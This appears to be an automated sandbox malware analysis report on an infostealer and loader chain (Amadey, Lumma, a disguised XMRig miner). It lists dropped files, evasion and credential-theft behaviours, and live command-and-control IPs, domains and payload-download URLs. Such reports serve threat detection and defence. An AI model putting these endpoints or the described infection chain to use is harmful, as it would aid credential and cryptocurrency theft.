                                      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1577982 Sample: file.exe Startdate: 19/12/2024 Architecture: WINDOWS Score: 100 120 sweepyribs.lat 2->120 122 lossekniyyt.click 2->122 124 2 other IPs or domains 2->124 154 Suricata IDS alerts for network traffic 2->154 156 Found malware configuration 2->156 158 Malicious sample detected (through community Yara rule) 2->158 160 24 other signatures 2->160 11 skotes.exe 3 67 2->11         started        16 file.exe 5 2->16         started        18 Intel_PTT_EK_Recertification.exe 2->18         started        20 5 other processes 2->20 signatures3 process4 dnsIp5 138 185.215.113.43, 49789, 49795, 49828 WHOLESALECONNECTIONSNL Portugal 11->138 140 185.215.113.16 WHOLESALECONNECTIONSNL Portugal 11->140 142 31.41.244.11, 49801, 49834, 49861 AEROEXPRESS-ASRU Russian Federation 11->142 104 C:\Users\user\AppData\...\0d11b39aa9.exe, PE32 11->104 dropped 106 C:\Users\user\AppData\...\d173cd9705.exe, PE32 11->106 dropped 108 C:\Users\user\AppData\...\1f3cab3382.exe, PE32 11->108 dropped 114 9 other malicious files 11->114 dropped 194 Creates multiple autostart registry keys 11->194 214 3 other signatures 11->214 22 d173cd9705.exe 11->22         started        26 1f3cab3382.exe 11->26         started        28 2ebf261090.exe 8 11->28         started        41 3 other processes 11->41 110 C:\Users\user\AppData\Local\...\skotes.exe, PE32 16->110 dropped 112 C:\Users\user\...\skotes.exe:Zone.Identifier, ASCII 16->112 dropped 196 Detected unpacking (changes PE section rights) 16->196 198 Tries to evade debugger and weak emulator (self modifying code) 16->198 200 Tries to detect virtualization through RDTSC time measurements 16->200 31 skotes.exe 16->31         started        202 Antivirus detection for dropped file 18->202 204 Multi AV Scanner detection for dropped file 18->204 206 Suspicious powershell command line found 18->206 216 5 other signatures 18->216 33 powershell.exe 18->33         started        35 explorer.exe 18->35         started        208 Query firmware table information (likely to detect VMs) 20->208 210 Tries to steal Mail credentials (via file / registry access) 20->210 212 Injects code into the Windows Explorer (explorer.exe) 20->212 218 4 other signatures 20->218 37 powershell.exe 20->37         started        39 explorer.exe 20->39         started        file6 signatures7 process8 dnsIp9 126 185.215.113.206 WHOLESALECONNECTIONSNL Portugal 22->126 168 Antivirus detection for dropped file 22->168 170 Attempt to bypass Chrome Application-Bound Encryption 22->170 172 Machine Learning detection for dropped file 22->172 188 6 other signatures 22->188 43 chrome.exe 22->43         started        128 grannyejh.lat 172.67.179.109 CLOUDFLARENETUS United States 26->128 174 Query firmware table information (likely to detect VMs) 26->174 176 Tries to detect sandboxes and other dynamic analysis tools (window names) 26->176 178 Found many strings related to Crypto-Wallets (likely being stolen) 26->178 180 LummaC encrypted strings found 26->180 116 C:\Users\user\AppData\Local\Temp\...\7z.exe, PE32+ 28->116 dropped 118 C:\Users\user\AppData\Local\Temp\...\7z.dll, PE32+ 28->118 dropped 182 Multi AV Scanner detection for dropped file 28->182 46 cmd.exe 2 28->46         started        184 Detected unpacking (changes PE section rights) 31->184 190 3 other signatures 31->190 49 PING.EXE 33->49         started        51 conhost.exe 33->51         started        53 conhost.exe 37->53         started        130 twentytk20pn.top 185.185.71.170 SPRINTHOSTRU Russian Federation 41->130 132 home.twentytk20pn.top 41->132 134 httpbin.org 34.226.108.155 AMAZON-AESUS United States 41->134 186 Binary is likely a compiled AutoIt script file 41->186 192 2 other signatures 41->192 55 1eb4b174fd.exe 41->55         started        57 taskkill.exe 41->57         started        59 taskkill.exe 41->59         started        61 taskkill.exe 41->61         started        file10 signatures11 process12 dnsIp13 144 239.255.255.250 unknown Reserved 43->144 63 chrome.exe 43->63         started        220 Uses cmd line tools excessively to alter registry or file data 46->220 66 in.exe 46->66         started        70 7z.exe 2 46->70         started        72 7z.exe 46->72         started        78 9 other processes 46->78 146 127.1.10.1 unknown unknown 49->146 148 lossekniyyt.click 104.21.12.88, 443, 49855, 49863 CLOUDFLARENETUS United States 55->148 222 Query firmware table information (likely to detect VMs) 55->222 224 Found many strings related to Crypto-Wallets (likely being stolen) 55->224 226 Tries to steal Crypto Currency Wallets 55->226 228 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 57->228 74 conhost.exe 57->74         started        76 conhost.exe 61->76         started        signatures14 process15 dnsIp16 150 www.google.com 142.250.181.132 GOOGLEUS United States 63->150 100 C:\Users\...\Intel_PTT_EK_Recertification.exe, PE32+ 66->100 dropped 162 Suspicious powershell command line found 66->162 164 Uses cmd line tools excessively to alter registry or file data 66->164 166 Uses schtasks.exe or at.exe to add and modify task schedules 66->166 80 powershell.exe 66->80         started        83 attrib.exe 66->83         started        85 attrib.exe 66->85         started        87 schtasks.exe 66->87         started        102 C:\Users\user\AppData\Local\Temp\...\in.exe, PE32+ 72->102 dropped file17 signatures18 process19 signatures20 152 Uses ping.exe to check the status of other devices and networks 80->152 89 PING.EXE 80->89         started        92 conhost.exe 80->92         started        94 conhost.exe 83->94         started        96 conhost.exe 85->96         started        98 conhost.exe 87->98         started        process21 dnsIp22 136 127.0.0.1 unknown unknown 89->136

                                      Screenshots

                                      Thumbnails

                                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                                      windows-stand

                                      Antivirus, Machine Learning and Genetic Malware Detection

                                      Initial Sample

                                      SourceDetectionScannerLabelLink
                                      file.exe57%VirustotalBrowse
                                      file.exe53%ReversingLabsWin32.Infostealer.Tinba
                                      file.exe100%AviraTR/Crypt.TPM.Gen
                                      file.exe100%Joe Sandbox ML

                                      Dropped Files

                                      SourceDetectionScannerLabelLink
                                      C:\Users\user\AppData\Local\Temp\main\extracted\in.exe100%AviraHEUR/AGEN.1352802
                                      C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe100%AviraTR/Crypt.TPM.Gen
                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe100%AviraTR/Crypt.TPM.Gen
                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe100%AviraTR/ATRAPS.Gen
                                      C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe100%AviraTR/Crypt.TPM.Gen
                                      C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe100%AviraHEUR/AGEN.1352802
                                      C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe100%AviraTR/ATRAPS.Gen
                                      C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe100%AviraTR/Crypt.TPM.Gen
                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe100%AviraTR/Crypt.TPM.Gen
                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe100%AviraTR/Crypt.XPACK.Gen
                                      C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe100%AviraTR/Crypt.XPACK.Gen
                                      C:\Users\user\AppData\Local\Temp\main\extracted\in.exe100%Joe Sandbox ML
                                      C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe100%Joe Sandbox ML
                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe100%Joe Sandbox ML
                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe100%Joe Sandbox ML
                                      C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exe100%Joe Sandbox ML
                                      C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe100%Joe Sandbox ML
                                      C:\Users\user\AppData\Local\Temp\1017196001\0d11b39aa9.exe100%Joe Sandbox ML
                                      C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exe100%Joe Sandbox ML
                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe100%Joe Sandbox ML
                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe100%Joe Sandbox ML
                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe100%Joe Sandbox ML
                                      C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe100%Joe Sandbox ML
                                      C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe100%Joe Sandbox ML
                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe42%ReversingLabs
                                      C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe88%ReversingLabsWin32.Trojan.Amadey
                                      C:\Users\user\AppData\Local\Temp\1017190001\2ebf261090.exe88%ReversingLabsWin32.Trojan.Amadey
                                      C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe42%ReversingLabs
                                      C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe53%ReversingLabsWin32.Infostealer.Tinba
                                      C:\Users\user\AppData\Local\Temp\main\7z.dll0%ReversingLabs
                                      C:\Users\user\AppData\Local\Temp\main\7z.exe0%ReversingLabs
                                      C:\Users\user\AppData\Local\Temp\main\extracted\in.exe67%ReversingLabsWin64.Trojan.Nekark
                                      C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe67%ReversingLabsWin64.Trojan.Nekark

                                      Unpacked PE Files

                                      ⊘No Antivirus matches

                                      Domains

                                      ⊘No Antivirus matches

                                      URLs

                                      ⊘No Antivirus matches

                                      Domains and IPs

                                      Contacted Domains

                                      NameIPActiveMaliciousAntivirus DetectionReputation
                                      lossekniyyt.click
                                      		104.21.12.88
                                      		truetrue
                                        grannyejh.lat
                                        		172.67.179.109
                                        		truetrue
                                          www.google.com
                                          		142.250.181.132
                                          		truefalse
                                            home.twentytk20pn.top
                                            		185.185.71.170
                                            		truetrue
                                              twentytk20pn.top
                                              		185.185.71.170
                                              		truetrue
                                                httpbin.org
                                                		34.226.108.155
                                                		truefalse
                                                  sweepyribs.lat
                                                  		unknown
                                                  		unknowntrue

                                                    Contacted URLs

                                                    NameMaliciousAntivirus DetectionReputation
                                                    http://185.215.113.206/68b591d6548ec281/softokn3.dlltrue
                                                      http://185.215.113.206/true
                                                        aspecteirs.lattrue
                                                          http://185.215.113.43/Zu7JuNko/index.phptrue
                                                            http://185.215.113.206/68b591d6548ec281/freebl3.dlltrue
                                                              http://185.215.113.206/68b591d6548ec281/nss3.dlltrue
                                                                sustainskelet.lattrue
                                                                  rapeflowwj.lattrue
                                                                    energyaffai.lattrue
                                                                      http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=uw27VhqmrkZG123h1734566989true
                                                                        http://twentytk20pn.top/v1/upload.phptrue
                                                                          grannyejh.lattrue
                                                                            http://185.215.113.206/68b591d6548ec281/vcruntime140.dlltrue
                                                                              necklacebudi.lattrue
                                                                                http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322true
                                                                                  http://185.215.113.206/68b591d6548ec281/sqlite3.dlltrue
                                                                                    http://185.215.113.206/68b591d6548ec281/mozglue.dlltrue
                                                                                      crosshuaht.lattrue
                                                                                        https://lossekniyyt.click/apitrue
                                                                                          lossekniyyt.clicktrue
                                                                                            http://185.215.113.206/68b591d6548ec281/msvcp140.dlltrue
                                                                                              http://185.215.113.206/c4becf79229cb002.phptrue

                                                                                                URLs from Memory and Binaries

                                                                                                NameSourceMaliciousAntivirus DetectionReputation
                                                                                                https://duckduckgo.com/chrome_newtab1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  https://duckduckgo.com/ac/?q=1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    https://lossekniyyt.click:443/apiMicrosoft1eb4b174fd.exe, 00000024.00000002.3073615047.0000000001471000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.1f3cab3382.exe, 00000028.00000003.3350042735.0000000005822000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                        https://g.live.com/odclientsettings/ProdV2.C:svchost.exe, 0000002F.00000003.3282352336.0000016F21E80000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                          https://grannyejh.lat/apiSB=1f3cab3382.exe, 00000028.00000003.3414236004.0000000000AF5000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3429935464.0000000000AF6000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000AF6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            http://axschema.org/company/nameBhttp://axschema.org/company/title:http://axschema.org/birthDateNhtt1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                              https://grannyejh.lat:443/api1iFYhrj/MCuFsyMH8F0Ge1f3cab3382.exe, 00000026.00000003.3342752850.0000000000D82000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                http://schemas.openid.net/pape/policies/2007/06/multi-factor-physical1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                  http://csrc.nist.gov/publications/nistpubs/800-63/SP800-63V1_0_2.pdf1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                    http://specs.openid.net/auth/2.0$dnoa.request_nonce1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                      https://curl.se/docs/hsts.htmlfd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                        https://grannyejh.lat:443/api1f3cab3382.exe, 00000028.00000003.3414236004.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3429935464.0000000000AFB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          https://grannyejh.lat/apigsr1f3cab3382.exe, 00000026.00000003.3318934468.0000000000D9C000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3342482720.0000000000D8F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            http://specs.openid.net/extensions/pape/1.01eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                              https://grannyejh.lat/wE1f3cab3382.exe, 00000028.00000003.3434505866.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3455605697.0000000000B75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                  https://grannyejh.lat/&1f3cab3382.exe, 00000026.00000003.3318934468.0000000000D8F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                    https://grannyejh.lat:443/apical1f3cab3382.exe, 00000028.00000003.3414236004.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3429935464.0000000000AFB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                      http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.11eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                        http://openid.net/xmlns/1.08http://openid.net/signon/1.01eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                          https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                            http://crl.rootca1.amazontrust.com/rootca1.crl01f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                              http://ocsp.rootca1.amazontrust.com0:1f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                https://curl.se/docs/alt-svc.htmlfd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                  https://xmrig.com/wizardIntel_PTT_EK_Recertification.exe, 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2843315351.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000029.00000003.3207300188.00000266A4D20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.3265693433.00000001402DD000.00000002.00000001.00020000.00000000.sdmpfalse
                                                                                                                                                    https://www.ecosia.org/newtab/1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                      https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br1f3cab3382.exe, 00000028.00000003.3347984195.0000000005CFF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                        https://grannyejh.lat/api-191f3cab3382.exe, 00000028.00000003.3455605697.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3434505866.0000000000B8E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                          http://openid.net/srv/ax/1.01eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                            https://httpbin.org/ipbeforefd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                              http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                http://crl.micro1f3cab3382.exe, 00000026.00000003.3249083501.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3303617322.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3342752850.0000000000D70000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3279573878.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3248936218.0000000000D3B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                  http://specs.openid.net/extensions/oauth/1.01eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                    https://sweepyribs.lat:443/api1f3cab3382.exe, 00000028.00000003.3258059719.0000000000AFB000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                      http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                        http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                          http://openid.net/signon/1.11eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                            http://openid.net/sreg/1.04http://openid.net/sreg/1.11eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002C61000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                              https://grannyejh.lat/apigs1f3cab3382.exe, 00000026.00000003.3278358124.0000000000D9C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                https://lossekniyyt.click/api51eb4b174fd.exe, 00000024.00000002.3074058221.00000000014AA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                  http://html4/loose.dtdfd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                                                                    https://lossekniyyt.click:443/apitPK1eb4b174fd.exe, 00000024.00000002.3073615047.0000000001471000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                      https://grannyejh.lat/kE)1f3cab3382.exe, 00000028.00000003.3434505866.0000000000B75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                        https://grannyejh.lat/q1f3cab3382.exe, 00000028.00000003.3258059719.0000000000B5C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                          http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                            https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi1f3cab3382.exe, 00000028.00000003.3350042735.0000000005822000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                              http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                https://grannyejh.lat/apibACgA1f3cab3382.exe, 00000028.00000003.3350042735.0000000005822000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3345448731.0000000005822000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                  https://lossekniyyt.click/1eb4b174fd.exe, 00000024.00000002.3074676805.0000000001516000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                    http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpfalse
